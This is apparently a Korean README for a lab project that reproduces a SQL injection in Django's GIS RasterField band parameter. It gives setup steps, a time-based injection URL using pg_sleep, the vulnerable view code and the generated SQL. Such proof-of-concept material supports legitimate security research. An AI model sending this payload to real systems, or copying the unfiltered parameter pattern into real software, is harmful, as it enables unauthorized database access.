
Django 프레임워크에서 PostGIS로 지리 래스터(raster) 데이터를 쿼리할 때, 검증되지 않은 사용자 입력을 band index(밴드 인덱스) 매개변수로 직접 사용하면 SQL 인젝션이 발생합니다.
취약점 유형: SQL 인젝션 (SQL Injection)
영향 컴포넌트: django.contrib.gis RasterField
Django GIS의 RasterField를 사용하여 쿼리를 수행할 때, band 매개변수가 SQL 문에 직접 연결되어 SQL 인젝션 취약점이 발생합니다. 공격자는 악의적인 band 매개변수 값을 구성하여 임의의 SQL 코드를 주입할 수 있습니다.
CVE-2026-1207/
├── .devcontainer/ # VSCode DevContainer 설정
├── .vscode/ # VSCode 설정
├── vuln/ # 취약점 데모 애플리케이션
│ ├── models.py # RasterField를 포함한 모델
│ ├── views.py # 취약점 트리거 지점
│ └── migrations/ # 데이터베이스 마이그레이션 파일
├── web/ # Django 프로젝트 설정
├── manage.py
├── README.md
이 취약점 프로젝트는 VSCode의 devcontainer를 사용하여 구축됩니다.
VS Code로 기존 프로젝트 루트 디렉터리(.devcontainer 폴더 포함)를 엽니다.
Ctrl+Shift+P(Windows/Linux) 또는 Cmd+Shift+P(Mac)를 누릅니다.
Remote-Containers: Reopen in Container를 입력합니다.
VS Code가 .devcontainer 설정을 읽고 컨테이너를 구축합니다(최초 구축은 몇 분이 걸릴 수 있습니다).
⚠️ Dockerfile 또는 종속성이 업데이트된 경우 Remote-Containers: Rebuild Container를 선택하여 최신 환경을 사용할 수 있습니다.
명령 팔레트 Ctrl+Shift+P를 엽니다.
Tasks: Run Task를 입력합니다.
django:start를 선택합니다(작업은 .vscode/tasks.json에 이미 구성되어 있습니다).
이 작업은 컨테이너 내에서 Django 개발 서버를 시작합니다.
기본적으로 0.0.0.0:8087을 수신합니다.
브라우저를 열고 다음 주소에 접속합니다:
http://localhost:8087
최초 실행 시 데이터베이스 마이그레이션을 수행해야 할 수 있습니다:
python manage.py migrate
취약점 분석 상세 내용은 다음에 게시되었습니다. 先知https://xz.aliyun.com/news/91993
다음 URL에 접속하여 SQL 인젝션을 트리거합니다:
http://localhost:8087/book/search?band=1);select%20%271%27||pg_sleep(3)%20--
응답 시간을 관찰하면, 정상 요청은 즉시 반환되고 인젝션 요청은 약 3초 지연됩니다.
def get(self, request: HttpRequest):
band = request.GET.get("band", 1) # ← 필터링되지 않은 사용자 입력
rast = GDALRaster(...)
qs = RasterModel.objects.filter(rast__contains=(rast, band)) # ← band가 쿼리에 직접 전달됨
print(qs.query) # ← 생성된 SQL 확인
qs.count()
return HttpResponse("book app")
SELECT ... FROM vuln_rastermodel
WHERE ST_Contains("vuln_rastermodel"."rast", ST_ContainsParam(..., 1);select '1'||pg_sleep(3) --))
이 프로젝트는 보안 연구 및 교육 목적으로만 제공됩니다. 승인되지 않은 시스템에서 사용하지 마십시오.